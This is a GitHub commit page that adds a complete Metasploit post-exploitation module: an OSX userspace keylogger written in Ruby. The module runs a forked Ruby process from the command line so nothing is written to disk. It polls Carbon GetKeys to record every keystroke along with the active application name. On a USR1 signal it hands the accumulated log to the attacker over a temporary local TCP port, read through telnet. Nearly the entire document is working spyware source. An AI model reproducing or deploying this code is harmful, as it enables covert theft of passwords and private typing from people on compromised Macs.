Skip to content

Commit 728d0a0

Browse files
committed
Land rapid7#2240 - OSX keylogger
2 parents e4a567b + a9459ef commit 728d0a0

File tree

1 file changed

+299
-0
lines changed

1 file changed

+299
-0
lines changed
Lines changed: 299 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,299 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'shellwords'
9+
10+
class Metasploit3 < Msf::Post
11+
include Msf::Post::Common
12+
include Msf::Post::File
13+
include Msf::Auxiliary::Report
14+
15+
# when we need to read from the keylogger,
16+
# we first "knock" the process by sending a USR1 signal.
17+
# the keylogger opens a local tcp port (22899 by default) momentarily
18+
# that we can connect to and read from (using cmd_exec(telnet ...)).
19+
attr_accessor :port
20+
21+
# the pid of the keylogger process
22+
attr_accessor :pid
23+
24+
# where we are storing the keylog
25+
attr_accessor :loot_path
26+
27+
28+
def initialize(info={})
29+
super(update_info(info,
30+
'Name' => 'OSX Capture Userspace Keylogger',
31+
'Description' => %q{
32+
Logs all keyboard events except cmd-keys and GUI password input.
33+
34+
Keylogs are transferred between client/server in chunks
35+
every SYNCWAIT seconds for reliability.
36+
37+
Works by calling the Carbon GetKeys() hook using the DL lib
38+
in OSX's system Ruby. The Ruby code is executed in a shell
39+
command using -e, so the payload never hits the disk.
40+
},
41+
'License' => MSF_LICENSE,
42+
'Author' => [ 'joev <jvennix[at]rapid7.com>'],
43+
'Platform' => [ 'osx'],
44+
'SessionTypes' => [ 'shell', 'meterpreter' ]
45+
))
46+
47+
register_options(
48+
[
49+
OptInt.new('DURATION',
50+
[ true, 'The duration in seconds.', 600 ]
51+
),
52+
OptInt.new('SYNCWAIT',
53+
[ true, 'The time between transferring log chunks.', 10 ]
54+
),
55+
OptPort.new('LOGPORT',
56+
[ false, 'Local port opened for momentarily for log transfer', 22899 ]
57+
)
58+
]
59+
)
60+
end
61+
62+
def run_ruby_code
63+
# to pass args to ruby -e we use ARGF (stdin) and yaml
64+
opts = {
65+
:duration => datastore['DURATION'].to_i,
66+
:port => self.port
67+
}
68+
cmd = ['ruby', '-e', ruby_code(opts)]
69+
70+
rpid = cmd_exec(cmd.shelljoin, nil, 10)
71+
72+
if rpid =~ /^\d+/
73+
print_status "Ruby process executing with pid #{rpid.to_i}"
74+
rpid.to_i
75+
else
76+
fail_with(Exploit::Failure::Unknown, "Ruby keylogger command failed with error #{rpid}")
77+
end
78+
end
79+
80+
81+
def run
82+
if session.nil?
83+
print_error "Invalid SESSION id."
84+
return
85+
end
86+
87+
if datastore['DURATION'].to_i < 1
88+
print_error 'Invalid DURATION value.'
89+
return
90+
end
91+
92+
print_status "Executing ruby command to start keylogger process."
93+
94+
@port = datastore['LOGPORT'].to_i
95+
@pid = run_ruby_code
96+
97+
begin
98+
Timeout.timeout(datastore['DURATION']+5) do # padding to read the last logs
99+
print_status "Entering read loop"
100+
while true
101+
print_status "Waiting #{datastore['SYNCWAIT']} seconds."
102+
Rex.sleep(datastore['SYNCWAIT'])
103+
print_status "Sending USR1 signal to open TCP port..."
104+
cmd_exec("kill -USR1 #{self.pid}")
105+
print_status "Dumping logs..."
106+
log = cmd_exec("telnet localhost #{self.port}")
107+
log_a = log.scan(/^\[.+?\] \[.+?\] .*$/)
108+
log = log_a.join("\n")+"\n"
109+
print_status "#{log_a.size} keystrokes captured"
110+
if log_a.size > 0
111+
if self.loot_path.nil?
112+
self.loot_path = store_loot(
113+
"keylog", "text/plain", session, log, "keylog.log", "OSX keylog"
114+
)
115+
else
116+
File.open(self.loot_path, 'a') { |f| f.write(log) }
117+
end
118+
print_status(log_a.map{ |a| a=~/([^\s]+)\s*$/; $1 }.join)
119+
print_status "Saved to #{self.loot_path}"
120+
end
121+
end
122+
end
123+
rescue ::Timeout::Error
124+
print_status "Keylogger run completed."
125+
end
126+
end
127+
128+
129+
def kill_process(pid)
130+
print_status "Killing process #{pid.to_i}"
131+
cmd_exec("kill #{pid.to_i}")
132+
end
133+
134+
def cleanup
135+
return if session.nil?
136+
return if not @cleaning_up.nil?
137+
@cleaning_up = true
138+
139+
if self.pid.to_i > 0
140+
print_status("Cleaning up...")
141+
kill_process(self.pid)
142+
end
143+
end
144+
145+
def ruby_code(opts={})
146+
<<-EOS
147+
# Kick off a child process and let parent die
148+
child_pid = fork do
149+
require 'thread'
150+
require 'dl'
151+
require 'dl/import'
152+
153+
154+
options = {
155+
:duration => #{opts[:duration]},
156+
:port => #{opts[:port]}
157+
}
158+
159+
160+
#### Patches to DL (for compatibility between 1.8->1.9)
161+
162+
Importer = if defined?(DL::Importer) then DL::Importer else DL::Importable end
163+
164+
def ruby_1_9_or_higher?
165+
RUBY_VERSION.to_f >= 1.9
166+
end
167+
168+
def malloc(size)
169+
if ruby_1_9_or_higher?
170+
DL::CPtr.malloc(size)
171+
else
172+
DL::malloc(size)
173+
end
174+
end
175+
176+
# the old Ruby Importer defaults methods to downcase every import
177+
# This is annoying, so we'll patch with method_missing
178+
if not ruby_1_9_or_higher?
179+
module DL
180+
module Importable
181+
def method_missing(meth, *args, &block)
182+
str = meth.to_s
183+
lower = str[0,1].downcase + str[1..-1]
184+
if self.respond_to? lower
185+
self.send lower, *args
186+
else
187+
super
188+
end
189+
end
190+
end
191+
end
192+
end
193+
194+
#### 1-way IPC ####
195+
196+
log = ''
197+
log_semaphore = Mutex.new
198+
Signal.trap("USR1") do # signal used for port knocking
199+
if not @server_listening
200+
@server_listening = true
201+
Thread.new do
202+
require 'socket'
203+
server = TCPServer.new(options[:port])
204+
client = server.accept
205+
log_semaphore.synchronize do
206+
client.puts(log+"\n\r")
207+
log = ''
208+
end
209+
client.close
210+
server.close
211+
@server_listening = false
212+
end
213+
end
214+
end
215+
216+
#### External dynamically linked code
217+
218+
SM_KCHR_CACHE = 38
219+
SM_CURRENT_SCRIPT = -2
220+
MAX_APP_NAME = 80
221+
222+
module Carbon
223+
extend Importer
224+
dlload 'Carbon.framework/Carbon'
225+
extern 'unsigned long CopyProcessName(const ProcessSerialNumber *, void *)'
226+
extern 'void GetFrontProcess(ProcessSerialNumber *)'
227+
extern 'void GetKeys(void *)'
228+
extern 'unsigned char *GetScriptVariable(int, int)'
229+
extern 'unsigned char KeyTranslate(void *, int, void *)'
230+
extern 'unsigned char CFStringGetCString(void *, void *, int, int)'
231+
extern 'int CFStringGetLength(void *)'
232+
end
233+
234+
psn = malloc(16)
235+
name = malloc(16)
236+
name_cstr = malloc(MAX_APP_NAME)
237+
keymap = malloc(16)
238+
state = malloc(8)
239+
240+
#### Actual Keylogger code
241+
242+
itv_start = Time.now.to_i
243+
prev_down = Hash.new(false)
244+
245+
while (true) do
246+
Carbon.GetFrontProcess(psn.ref)
247+
Carbon.CopyProcessName(psn.ref, name.ref)
248+
Carbon.GetKeys(keymap)
249+
250+
str_len = Carbon.CFStringGetLength(name)
251+
copied = Carbon.CFStringGetCString(name, name_cstr, MAX_APP_NAME, 0x08000100) > 0
252+
app_name = if copied then name_cstr.to_s else 'Unknown' end
253+
254+
bytes = keymap.to_str
255+
cap_flag = false
256+
ascii = 0
257+
258+
(0...128).each do |k|
259+
# pulled from apple's developer docs for Carbon#KeyMap/GetKeys
260+
if ((bytes[k>>3].ord >> (k&7)) & 1 > 0)
261+
if not prev_down[k]
262+
kchr = Carbon.GetScriptVariable(SM_KCHR_CACHE, SM_CURRENT_SCRIPT)
263+
curr_ascii = Carbon.KeyTranslate(kchr, k, state)
264+
curr_ascii = curr_ascii >> 16 if curr_ascii < 1
265+
prev_down[k] = true
266+
if curr_ascii == 0
267+
cap_flag = true
268+
else
269+
ascii = curr_ascii
270+
end
271+
end
272+
else
273+
prev_down[k] = false
274+
end
275+
end
276+
277+
if ascii != 0 # cmd/modifier key. not sure how to look this up. assume shift.
278+
log_semaphore.synchronize do
279+
if ascii > 32 and ascii < 127
280+
c = if cap_flag then ascii.chr.upcase else ascii.chr end
281+
log = log << "[\#{Time.now.to_i}] [\#{app_name}] \#{c}\n"
282+
else
283+
log = log << "[\#{Time.now.to_i}] [\#{app_name}] [\#{ascii}]\\n"
284+
end
285+
end
286+
end
287+
288+
exit if Time.now.to_i - itv_start > options[:duration]
289+
Kernel.sleep(0.01)
290+
end
291+
end
292+
293+
puts child_pid
294+
Process.detach(child_pid)
295+
296+
EOS
297+
end
298+
end
299+

0 commit comments

Comments
 (0)